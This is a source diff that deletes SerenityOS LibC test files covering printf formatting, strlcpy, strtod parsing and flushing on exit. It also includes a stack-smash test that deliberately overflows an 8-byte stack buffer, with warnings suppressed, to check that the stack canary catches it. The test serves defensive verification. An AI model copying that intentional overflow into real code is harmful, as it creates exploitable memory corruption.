EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%d|", 0, 3, LITERAL("|0|\0") }));
}
TEST_CASE(unsigned_decimal_values)
{
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5u|", 17, 12, LITERAL("| 00017|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+10.5u|", 17, 12, LITERAL("| 00017|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-10.5u|", 17, 12, LITERAL("|00017 |\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+-10.5u|", 17, 12, LITERAL("|00017 |\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-010.5u|", 17, 12, LITERAL("|00017 |\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010.5u|", 17, 12, LITERAL("| 00017|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010u|", 17, 12, LITERAL("|0000000017|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+010u|", 17, 12, LITERAL("|0000000017|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010u|", 170000000, 12, LITERAL("|0170000000|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+010u|", 170000000, 12, LITERAL("|0170000000|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010u|", 1700000000, 12, LITERAL("|1700000000|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+010u|", 1700000000, 12, LITERAL("|1700000000|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10u|", 17, 12, LITERAL("| 17|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxx\0"), "|%+10u|", 17, 12, LITERAL("| 17|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxx\0"), "|%.5u|", 17, 7, LITERAL("|00017|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxx\0"), "|%.1u|", 17, 4, LITERAL("|17|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxx\0"), "|%.0u|", 17, 4, LITERAL("|17|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xx\0"), "|%.0u|", 0, 2, LITERAL("||\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xx\0"), "|%+.0u|", 0, 2, LITERAL("||\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxx\0"), "|%#.1u|", 0, 3, LITERAL("|0|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxx\0"), "|%u|", 0, 3, LITERAL("|0|\0") }));
}
TEST_CASE(hexadecimal_values)
{
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5X|", 0xab, 12, LITERAL("| 000AB|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5X|", 0xab, 12, LITERAL("| 0x000AB|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5x|", 0xab, 12, LITERAL("| 000ab|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5x|", 0xab, 12, LITERAL("| 0x000ab|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5x|", 0x1000, 12, LITERAL("| 01000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5x|", 0x1000, 12, LITERAL("| 0x01000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5x|", 0x10000, 12, LITERAL("| 10000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10.5x|", 0x10000, 12, LITERAL("| 0x10000|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10.5x|", 0x17, 12, LITERAL("| 00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-#10.5x|", 0x17, 12, LITERAL("|0x00017 |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-10.5x|", 0x17, 12, LITERAL("|00017 |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%-010.5x|", 0x17, 12, LITERAL("|00017 |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010.5x|", 0x17, 12, LITERAL("| 00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%010x|", 0x17, 12, LITERAL("|0000000017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#010x|", 0x17, 12, LITERAL("|0x00000017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%10x|", 0x17, 12, LITERAL("| 17|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxx\0"), "|%#10x|", 0x17, 12, LITERAL("| 0x17|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxx\0"), "|%.5x|", 0x17, 7, LITERAL("|00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxx\0"), "|%#.5x|", 0x17, 9, LITERAL("|0x00017|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%.1x|", 0x17, 4, LITERAL("|17|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxx\0"), "|%.0x|", 0x17, 4, LITERAL("|17|\0") }));
EXPECT(test_single<int>({ LITERAL("xx\0"), "|%.0x|", 0x0, 2, LITERAL("||\0") }));
EXPECT(test_single<int>({ LITERAL("xx\0"), "|%#.0x|", 0x0, 2, LITERAL("||\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxx\0"), "|%4.0x|", 0x0, 6, LITERAL("| |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxx\0"), "|%04.0x|", 0x0, 6, LITERAL("| |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxx\0"), "|%#4.0x|", 0x0, 6, LITERAL("| |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxx\0"), "|%#04.0x|", 0x0, 6, LITERAL("| |\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxx\0"), "|%#.0x|", 0x1, 5, LITERAL("|0x1|\0") }));
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%#.1x|", 0x0, 3, LITERAL("|0|\0") }));
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%.1x|", 0x0, 3, LITERAL("|0|\0") }));
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%x|", 0x0, 3, LITERAL("|0|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxx\0"), "|%#.1x|", 0x1, 5, LITERAL("|0x1|\0") }));
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%x|", 0, 3, LITERAL("|0|\0") }));
EXPECT(test_single<int>({ LITERAL("xxx\0"), "|%#x|", 0, 3, LITERAL("|0|\0") }));
}
TEST_CASE(inttypes_macros)
{
EXPECT(test_single<uint8_t>({ LITERAL("xxxxx"), "|%" PRIx8 "|", 0xAB, 4, LITERAL("|ab|\0") }));
EXPECT(test_single<uint8_t>({ LITERAL("xxxxx"), "|%" PRIX8 "|", 0xAB, 4, LITERAL("|AB|\0") }));
EXPECT(test_single<uint16_t>({ LITERAL("xxxxxxx"), "|%" PRIx16 "|", 0xC0DE, 6, LITERAL("|c0de|\0") }));
EXPECT(test_single<uint16_t>({ LITERAL("xxxxxxx"), "|%" PRIX16 "|", 0xC0DE, 6, LITERAL("|C0DE|\0") }));
}
TEST_CASE(float_value_precision)
{
// An empty precision value implies a precision of 0.
EXPECT(test_single<double>({ LITERAL("xxx\0"), "|%.f|", 0, 3, LITERAL("|0|\0") }));
EXPECT(test_single<double>({ LITERAL("xxx\0"), "|%.f|", 1.23456789, 3, LITERAL("|1|\0") }));
EXPECT(test_single<double>({ LITERAL("xxx\0"), "|%.0f|", 0, 3, LITERAL("|0|\0") }));
EXPECT(test_single<double>({ LITERAL("xxx\0"), "|%.0f|", 1.23456789, 3, LITERAL("|1|\0") }));
// The default value for the precision is 6.
EXPECT(test_single<double>({ LITERAL("xxxxxxxxxx\0"), "|%f|", 0, 10, LITERAL("|0.000000|\0") }));
EXPECT(test_single<double>({ LITERAL("xxxxxxxxxx\0"), "|%f|", 1.23456789, 10, LITERAL("|1.234567|\0") }));
EXPECT(test_single<double>({ LITERAL("xxxxxxxxxx\0"), "|%.6f|", 0, 10, LITERAL("|0.000000|\0") }));
EXPECT(test_single<double>({ LITERAL("xxxxxxxxxx\0"), "|%.6f|", 1.23456789, 10, LITERAL("|1.234567|\0") }));
}
TEST_CASE(float_value_special)
{
union {
float f;
int i;
} v;
v.i = 0x7fc00000;
EXPECT(test_single<double>({ LITERAL("xxxxxxx"), "|%4f|", v.f, 6, LITERAL("| nan|\0") }));
EXPECT(test_single<double>({ LITERAL("xxxxxxx"), "|%4f|", -v.f, 6, LITERAL("|-nan|\0") }));
v.i = 0x7f800000;
EXPECT(test_single<double>({ LITERAL("xxxxxxx"), "|%4f|", v.f, 6, LITERAL("| inf|\0") }));
EXPECT(test_single<double>({ LITERAL("xxxxxxx"), "|%4f|", -v.f, 6, LITERAL("|-inf|\0") }));
}
TEST_CASE(string_precision)
{
// Print the entire string by default.
EXPECT(test_single<char const*>({ LITERAL("xxxxxx\0"), "|%s|", "WHF!", 6, LITERAL("|WHF!|\0") }));
// Precision limits the number of characters that are printed.
EXPECT(test_single<char const*>({ LITERAL("xxxx\0"), "|%.2s|", "WHF!", 4, LITERAL("|WH|\0") }));
EXPECT(test_single<char const*>({ LITERAL("xxxxxx\0"), "|%.7s|", "WHF!", 6, LITERAL("|WHF!|\0") }));
// An empty precision value implies a precision of 0.
EXPECT(test_single<char const*>({ LITERAL("xx\0"), "|%.s|", "WHF!", 2, LITERAL("||\0") }));
}
TEST_CASE(truncation)
{
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxxx"), "|%d|", INT_MAX, 12, LITERAL("|2147483647|\0") }));
EXPECT(test_single<int>({ LITERAL("xxxxxxxxxxxxxx"), "|%d|", INT_MIN, 13, LITERAL("|-2147483648|\0") }));
if constexpr (sizeof(long int) == 8) {
EXPECT(test_single<long int>({ LITERAL("xxxxxxxxxxxxxxxxxxxxxx"), "|%ld|", LONG_MAX, 21, LITERAL("|9223372036854775807|\0") }));
EXPECT(test_single<long int>({ LITERAL("xxxxxxxxxxxxxxxxxxxxxxx"), "|%ld|", LONG_MIN + 1, 22, LITERAL("|-9223372036854775807|\0") }));
} else {
EXPECT(test_single<long int>({ LITERAL("xxxxxxxxxxxxx"), "|%ld|", LONG_MAX, 12, LITERAL("|2147483647|\0") }));
EXPECT(test_single<long int>({ LITERAL("xxxxxxxxxxxxxx"), "|%ld|", LONG_MIN, 13, LITERAL("|-2147483648|\0") }));
}
EXPECT(test_single<long long int>({ LITERAL("xxxxxxxxxxxxxxxxxxxxxx"), "|%lld|", LLONG_MAX, 21, LITERAL("|9223372036854775807|\0") }));
EXPECT(test_single<long long int>({ LITERAL("xxxxxxxxxxxxxxxxxxxxxxx"), "|%lld|", LLONG_MIN + 1, 22, LITERAL("|-9223372036854775807|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxxxx"), "|%u|", UINT_MAX, 12, LITERAL("|4294967295|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxx"), "|%x|", UINT_MAX, 10, LITERAL("|ffffffff|\0") }));
EXPECT(test_single<unsigned int>({ LITERAL("xxxxxxxxxxx"), "|%X|", UINT_MAX, 10, LITERAL("|FFFFFFFF|\0") }));
if constexpr (sizeof(unsigned long int) == 8) {
EXPECT(test_single<unsigned long int>({ LITERAL("xxxxxxxxxxxxxxxxxxxxxxx"), "|%lu|", ULONG_MAX, 22, LITERAL("|18446744073709551615|\0") }));
EXPECT(test_single<unsigned long int>({ LITERAL("xxxxxxxxxxxxxxxxxxx"), "|%lx|", ULONG_MAX, 18, LITERAL("|ffffffffffffffff|\0") }));
EXPECT(test_single<unsigned long int>({ LITERAL("xxxxxxxxxxxxxxxxxxx"), "|%lX|", ULONG_MAX, 18, LITERAL("|FFFFFFFFFFFFFFFF|\0") }));
} else {
EXPECT(test_single<unsigned long int>({ LITERAL("xxxxxxxxxxxxx"), "|%lu|", ULONG_MAX, 12, LITERAL("|4294967295|\0") }));
EXPECT(test_single<unsigned long int>({ LITERAL("xxxxxxxxxxx"), "|%lx|", ULONG_MAX, 10, LITERAL("|ffffffff|\0") }));
EXPECT(test_single<unsigned long int>({ LITERAL("xxxxxxxxxxx"), "|%lX|", ULONG_MAX, 10, LITERAL("|FFFFFFFF|\0") }));
}
EXPECT(test_single<unsigned long long int>({ LITERAL("xxxxxxxxxxxxxxxxxxxxxxx"), "|%llu|", ULLONG_MAX, 22, LITERAL("|18446744073709551615|\0") }));
EXPECT(test_single<unsigned long long int>({ LITERAL("xxxxxxxxxxxxxxxxxxx"), "|%llx|", ULLONG_MAX, 18, LITERAL("|ffffffffffffffff|\0") }));
EXPECT(test_single<unsigned long long int>({ LITERAL("xxxxxxxxxxxxxxxxxxx"), "|%llX|", ULLONG_MAX, 18, LITERAL("|FFFFFFFFFFFFFFFF|\0") }));
}
TEST_CASE(g_format)
{
EXPECT(test_single<double>({ LITERAL("xxxx"), "|%g|", 0.0, 3, LITERAL("|0|\0") }));
EXPECT(test_single<double>({ LITERAL("xxxx"), "|%g|", 1.0, 3, LITERAL("|1|\0") }));
EXPECT(test_single<double>({ LITERAL("xxxxxx"), "|%g|", 1.1, 5, LITERAL("|1.1|\0") }));
EXPECT(test_single<double>({ LITERAL("xxxxxxxx"), "|%g|", -1.12, 7, LITERAL("|-1.12|\0") }));
}

View file

@ -1,36 +0,0 @@
/*
* Copyright (c) 2021, Brian Gianforcaro <bgianf@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Format.h>
#include <LibTest/TestCase.h>
// Note: Needs to be 'noinline' so stack canary isn't optimized out.
static void __attribute__((noinline)) smasher(char* string)
{
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Warray-bounds"
for (int i = 0; i < 256; i++) {
string[i] = 'A';
}
#pragma GCC diagnostic pop
}
// Note: Needs to be 'noinline' so stack canary isn't optimized out.
static void __attribute__((noinline)) stack_to_smash()
{
char string[8] = {};
smasher(string);
}
TEST_CASE(stack_smash)
{
EXPECT_CRASH("Smash the stack and trigger __stack_chk_fail", [] {
outln("[+] Starting the stack smash...");
stack_to_smash();
outln("[+] Stack smash wasn't detected!");
return Test::Crash::Failure::DidNotCrash;
});
}

View file

@ -1,56 +0,0 @@
/*
* Copyright (c) 2022, Daniel Bertalan <dani@danielbertalan.dev>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <stdio.h>
#include <sys/wait.h>
#include <unistd.h>
// Test whether file writes are flushed to disk at program termination,
// even if we do not close the files or call fflush().
TEST_CASE(flush_on_exit)
{
static constexpr auto test_str = "peekaboo";
auto pid = fork();
VERIFY(pid >= 0);
if (pid == 0) {
auto* fp = fopen("/tmp/flushtest", "w");
VERIFY(fp != nullptr);
auto nwritten = fwrite(test_str, 1, strlen(test_str), fp);
VERIFY(nwritten != 0);
// We intentionally leak `fp` here.
exit(0);
} else {
int wstatus;
auto rc = waitpid(pid, &wstatus, 0);
VERIFY(rc >= 0);
char buf[256];
auto* fp = fopen("/tmp/flushtest", "r");
VERIFY(fp != nullptr);
auto* sp = fgets(buf, sizeof(buf), fp);
VERIFY(sp != nullptr);
fclose(fp);
unlink("/tmp/flushtest");
EXPECT_EQ(strcmp(test_str, buf), 0);
}
}
TEST_CASE(sprintf_sign)
{
char buf1[128];
int ret1 = sprintf(buf1, "%+d", 12);
EXPECT_EQ(ret1, 3);
char buf2[128];
int ret2 = sprintf(buf2, "%+d", -12);
EXPECT_EQ(ret2, 3);
EXPECT_EQ(buf1, "+12"sv);
EXPECT_EQ(buf2, "-12"sv);
}

View file

@ -1,147 +0,0 @@
/*
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <AK/ByteBuffer.h>
#include <AK/Random.h>
#include <AK/StringBuilder.h>
#include <ctype.h>
#include <stdio.h>
#include <string.h>
struct Testcase {
char const* dest;
size_t dest_n;
char const* src;
size_t src_n;
char const* dest_expected;
size_t dest_expected_n; // == dest_n
};
static ByteString show(ByteBuffer const& buf)
{
StringBuilder builder;
for (size_t i = 0; i < buf.size(); ++i) {
builder.appendff("{:02x}", buf[i]);
}
builder.append(' ');
builder.append('(');
for (size_t i = 0; i < buf.size(); ++i) {
if (isprint(buf[i]))
builder.append(buf[i]);
else
builder.append('_');
}
builder.append(')');
return builder.to_byte_string();
}
static bool test_single(Testcase const& testcase)
{
constexpr size_t SANDBOX_CANARY_SIZE = 8;
// Preconditions:
if (testcase.dest_n != testcase.dest_expected_n) {
warnln("dest length {} != expected dest length {}? Check testcase! (Probably miscounted.)", testcase.dest_n, testcase.dest_expected_n);
return false;
}
if (testcase.src_n != strlen(testcase.src)) {
warnln("src length {} != actual src length {}? src can't contain NUL bytes!", testcase.src_n, strlen(testcase.src));
return false;
}
// Setup
ByteBuffer actual = ByteBuffer::create_uninitialized(SANDBOX_CANARY_SIZE + testcase.dest_n + SANDBOX_CANARY_SIZE).release_value();
fill_with_random(actual);
ByteBuffer expected = actual;
VERIFY(actual.offset_pointer(0) != expected.offset_pointer(0));
actual.overwrite(SANDBOX_CANARY_SIZE, testcase.dest, testcase.dest_n);
expected.overwrite(SANDBOX_CANARY_SIZE, testcase.dest_expected, testcase.dest_expected_n);
// "unsigned char" != "char", so we have to convince the compiler to allow this.
char* dst = reinterpret_cast<char*>(actual.offset_pointer(SANDBOX_CANARY_SIZE));
// The actual call:
size_t actual_return = strlcpy(dst, testcase.src, testcase.dest_n);
// Checking the results:
bool return_ok = actual_return == testcase.src_n;
bool canary_1_ok = MUST(actual.slice(0, SANDBOX_CANARY_SIZE)) == MUST(expected.slice(0, SANDBOX_CANARY_SIZE));
bool main_ok = MUST(actual.slice(SANDBOX_CANARY_SIZE, testcase.dest_n)) == MUST(expected.slice(SANDBOX_CANARY_SIZE, testcase.dest_n));
bool canary_2_ok = MUST(actual.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE)) == MUST(expected.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE));
bool buf_ok = actual == expected;
// Evaluate gravity:
if (buf_ok && (!canary_1_ok || !main_ok || !canary_2_ok)) {
warnln("Internal error! ({} != {} | {} | {})", buf_ok, canary_1_ok, main_ok, canary_2_ok);
buf_ok = false;
}
if (!canary_1_ok) {
warnln("Canary 1 overwritten: Expected canary {}\n"
" instead got {}",
show(MUST(expected.slice(0, SANDBOX_CANARY_SIZE))),
show(MUST(actual.slice(0, SANDBOX_CANARY_SIZE))));
}
if (!main_ok) {
warnln("Wrong output: Expected {}\n"
" instead got {}",
show(MUST(expected.slice(SANDBOX_CANARY_SIZE, testcase.dest_n))),
show(MUST(actual.slice(SANDBOX_CANARY_SIZE, testcase.dest_n))));
}
if (!canary_2_ok) {
warnln("Canary 2 overwritten: Expected {}\n"
" instead got {}",
show(MUST(expected.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE))),
show(MUST(actual.slice(SANDBOX_CANARY_SIZE + testcase.dest_n, SANDBOX_CANARY_SIZE))));
}
if (!return_ok) {
warnln("Wrong return value: Expected {}, got {} instead!", testcase.src_n, actual_return);
}
return buf_ok && return_ok;
}
// Drop the NUL terminator added by the C++ compiler.
#define LITERAL(x) x, (sizeof(x) - 1)
TEST_CASE(golden_path)
{
EXPECT(test_single({ LITERAL("Hello World!\0\0\0"), LITERAL("Hello Friend!"), LITERAL("Hello Friend!\0\0") }));
EXPECT(test_single({ LITERAL("Hello World!\0\0\0"), LITERAL("Hello Friend!"), LITERAL("Hello Friend!\0\0") }));
EXPECT(test_single({ LITERAL("aaaaaaaaaa"), LITERAL("whf"), LITERAL("whf\0aaaaaa") }));
}
TEST_CASE(exact_fit)
{
EXPECT(test_single({ LITERAL("Hello World!\0\0"), LITERAL("Hello Friend!"), LITERAL("Hello Friend!\0") }));
EXPECT(test_single({ LITERAL("AAAA"), LITERAL("aaa"), LITERAL("aaa\0") }));
}
TEST_CASE(off_by_one)
{
EXPECT(test_single({ LITERAL("AAAAAAAAAA"), LITERAL("BBBBB"), LITERAL("BBBBB\0AAAA") }));
EXPECT(test_single({ LITERAL("AAAAAAAAAA"), LITERAL("BBBBBBBCC"), LITERAL("BBBBBBBCC\0") }));
EXPECT(test_single({ LITERAL("AAAAAAAAAA"), LITERAL("BBBBBBBCCX"), LITERAL("BBBBBBBCC\0") }));
EXPECT(test_single({ LITERAL("AAAAAAAAAA"), LITERAL("BBBBBBBCCXY"), LITERAL("BBBBBBBCC\0") }));
}
TEST_CASE(nearly_empty)
{
EXPECT(test_single({ LITERAL(""), LITERAL(""), LITERAL("") }));
EXPECT(test_single({ LITERAL(""), LITERAL("Empty test"), LITERAL("") }));
EXPECT(test_single({ LITERAL("x"), LITERAL(""), LITERAL("\0") }));
EXPECT(test_single({ LITERAL("xx"), LITERAL(""), LITERAL("\0x") }));
EXPECT(test_single({ LITERAL("x"), LITERAL("y"), LITERAL("\0") }));
}
static char* const POISON = (char*)1;
TEST_CASE(to_nullptr)
{
EXPECT_EQ(0u, strlcpy(POISON, "", 0));
EXPECT_EQ(1u, strlcpy(POISON, "x", 0));
EXPECT(test_single({ LITERAL("Hello World!\0\0\0"), LITERAL("Hello Friend!"), LITERAL("Hello Friend!\0\0") }));
EXPECT(test_single({ LITERAL("aaaaaaaaaa"), LITERAL("whf"), LITERAL("whf\0aaaaaa") }));
}

View file

@ -1,449 +0,0 @@
/*
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
* Copyright (c) 2022, David Tuin <davidot@serenityos.org>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <LibTest/TestCase.h>
#include <AK/ByteString.h>
#include <AK/Format.h>
#include <stdlib.h>
#include <string.h>
static constexpr char TEXT_ERROR[] = "\x1b[01;35m";
static constexpr char TEXT_WRONG[] = "\x1b[01;31m";
static constexpr char TEXT_OFBY1[] = "\x1b[01;97m";
static constexpr char TEXT_RESET[] = "\x1b[0m";
static constexpr long long LENIENCY = 8;
struct Testcase {
char const* test_name;
int should_consume;
char const* hex;
char const* test_string;
};
static Testcase TESTCASES[] = {
// What I came up with on my own:
{ "BW00", 0, "0000000000000000", ".." },
{ "BW01", 2, "3ff0000000000000", "1..0" },
{ "BW02", 1, "3ff0000000000000", "1" },
{ "BW03", 2, "0000000000000000", ".0" },
{ "BW04", 2, "0000000000000000", "0." },
{ "BW05", 2, "0000000000000000", "0.." },
// Second 'e' overwrites first exponent
{ "BW06", 3, "40af400000000000", "4e3e4" },
// Minus sign in exponent is ignored (`atof` only)
{ "BW07", 4, "3f747ae147ae147b", "5e-3" },
// "e" is ignored if followed by only zeros
{ "BW08", 3, "401c000000000000", "7e0" },
// Exponent overflow:
{ "BW09", -1, "0000000000000000", "1e-4294967296" },
// Excessive time use(!):
{ "BW10", -1, "0000000000000000", "1e-999999999" },
// Excessively large exponent (>64 bits):
{ "BW10", -1, "0000000000000000", "1e-9999999999999999999999" },
// Bugs I nearly introduced
{ "BWN01", 2, "3ff0000000000000", "1.-2" },
{ "BWN02", 2, "3ff0000000000000", "1. 2" },
{ "BWN03", 0, "0000000000000000", "++2" },
{ "BWN04", 1, "0000000000000000", "0b101" },
{ "BWN05", 3, "0000000000000000", " 0b101" },
{ "BWN06", 1, "0000000000000000", "0o123" },
{ "BWN07", 1, "0000000000000000", "0y2" },
{ "BWN08", 1, "3ff0000000000000", "1e" },
{ "BWN09", 1, "3ff0000000000000", "1e-" },
{ "BWN10", 6, "4034000000000000", "2e0001" },
{ "BWN11", 6, "41ddcd6500000000", "2e0009" },
{ "BWN12", 1, "0000000000000000", "0d1" },
{ "BWN13", -1, "7ff0000000000000", "184467440737095516151234567890e2147483639" },
{ "BWN14", -1, "0000000000000000", ".1234567890e-2147483639" },
{ "BWN15", -1, "8000000000000000", "-1e-9999" },
{ "BWN16", -1, "c3389e56ee5e7a58", "-6929495644600919.5" },
{ "BWN17", -1, "c3389e56ee5e7a57", "-6929495644600919" },
{ "BWN18", -1, "630a2b939cbca17f", "12345678901234567890e150" },
{ "BWN19", -1, "24c186a8a3f159df", "12345678901234567890e-150" },
// From the Serenity GitHub tracker:
// https://github.com/SerenityOS/serenity/issues/1979
{ "SR1", -1, "4014000000000001", "5.000000000000001" },
{ "SR2", -1, "4014000000000000", "5.0000000000000001" },
{ "SR3", -1, "3ff0000000000000", "1.0000000000000000000000000000001" },
{ "SR4", -1, "3ff0000000000000", "1.00000000000000000000000000000001" },
{ "SR5", -1, "3ff1f9add37c1216", "1.12345678912345678912345678912345" },
{ "SR6", -1, "3ff1f9add37c1216", "1.123456789123456789123456789123456789123456789" },
// Inspired from Abraham Hrvoje's "negativeFormattingTests":
// https://github.com/ahrvoje/numerics/blob/master/strtod/strtod_tests.toml
// Note that my interpretation is slightly stricter than what Abraham Hrvoje wrote.
{ "AHN01", 3, "7ff0000000000000", "inf1" },
{ "AHN02", 3, "7ff0000000000000", "inf+" },
{ "AHN03", 0, "0000000000000000", ".E" },
{ "AHN04", 3, "3ff0000000000000", "1.0e" },
{ "AHN05", 4, "400399999999999a", "2.45+e+3" },
{ "AHN06", 2, "4037000000000000", "23e.23" },
{ "AHN07", 0, "0000000000000000", "e9" },
{ "AHN08", 0, "0000000000000000", "+e" },
{ "AHN09", 0, "0000000000000000", "e+" },
{ "AHN10", 0, "0000000000000000", "." },
{ "AHN11", 0, "0000000000000000", "e" },
{ "AHN12", 2, "3fe6666666666666", ".7+" },
{ "AHN13", 3, "3fcae147ae147ae1", ".21e" },
{ "AHN14", 0, "0000000000000000", "+" },
{ "AHN15", 0, "0000000000000000", "" },
{ "AHN16", 3, "7ff0000000000000", "infe" },
{ "AHN17", 3, "7ff8000000000000", "nan(err" },
{ "AHN18", 3, "7ff8000000000000", "nan)" },
{ "AHN19", 3, "7ff8000000000000", "NAN(test_)_)" },
{ "AHN20", 3, "7ff8000000000000", "nan0" },
{ "AHN21", 0, "0000000000000000", "-.e+" },
{ "AHN22", 0, "0000000000000000", "-+12.34" },
// For a better description, see:
// https://github.com/ahrvoje/numerics/blob/master/strtod/strtod_tests.toml
// (Comments removed for ease of format conversion.)
// My machine generates the NaN "fff8000000000000" for 0/0, so I replaced the "correct" result by that.
{ "F0", -1, "348834c13cbf331d", "12.34E-56" },
{ "F1", -1, "c07c800000000000", "-456." },
{ "F2", -1, "405ec00000000000", "+123" },
{ "F3", -1, "7ff8000000000000", "nan" },
{ "F4", -1, "7ff8000000000000", "NaN" },
{ "F5", -1, "7ff8000000000000", "NAN" },
{ "F6", -1, "7ff0000000000000", "inf" },
{ "F7", -1, "7ff0000000000000", "Inf" },
{ "F8", -1, "7ff0000000000000", "INF" },
{ "F9", -1, "fff0000000000000", "-inf" },
{ "F10", -1, "7ff0000000000000", "+inF" },
{ "F11", -1, "7ff0000000000000", "+INF" },
{ "F12", -1, "3ff0000000000000", "1.0" },
{ "F13", -1, "4059000000000000", "1e2" },
{ "F14", -1, "44ada56a4b0835c0", "7.e22" },
{ "F15", -1, "44ada56a4b0835c0", "7.0e22" },
{ "F16", -1, "44ada56a4b0835c0", "7.0e+22" },
{ "F17", -1, "3b8a71fc0e147309", "7.0e-22" },
{ "F18", -1, "c02699999999999a", "-1.13e1" },
{ "F19", -1, "402699999999999a", "+1.13e+1" },
{ "F20", -1, "36e069d1347fd4b5", "23e-45" },
{ "F21", -1, "402a000000000000", ".13e2" },
{ "F22", -1, "beb5cf751db94e6b", "-.13e-5" },
{ "F23", -1, "405ec00000000000", "123" },
{ "F24", -1, "7ff8000000000000", "+nan" },
{ "F25", -1, "7ff0000000000000", "infinity" },
{ "F26", -1, "7ff0000000000000", "Infinity" },
{ "F27", 3, "7ff8000000000000", "nan(type-0)" },
{ "F28", 4, "7ff8000000000000", "+nan(catch_22)" },
{ "F29", -1, "7ff0000000000000", "INFINITY" },
{ "F30", -1, "3ff0000000000000", "0.00000001e+8" },
{ "F31", -1, "fff0000000000000", "-infinity" },
{ "F32", -1, "3705f1a59c73408e", "123.e-45" },
{ "F33", -1, "4085300000000000", "678." },
{ "F34", 4, "fff8000000000000", "-nan()" },
{ "C0", -1, "0000000000000000", "0.000e+00" },
{ "C1", -1, "0000000000000000", "1e-400" },
{ "C2", -1, "0000000000000000", "2.4703282292062326e-324" },
{ "C3", -1, "0000000000000000", "2.4703282292062327e-324" },
{ "C4", -1, "0000000000000001", "2.4703282292062328e-324" },
{ "C5", -1, "0000000000000001", "4.9406564584124654e-324" },
{ "C6", -1, "00000000000007e8", "1e-320" },
{ "C7", -1, "000fffffffffffff", "2.2250738585072009e-308" },
{ "C8", -1, "0010000000000000", "2.2250738585072014e-308" },
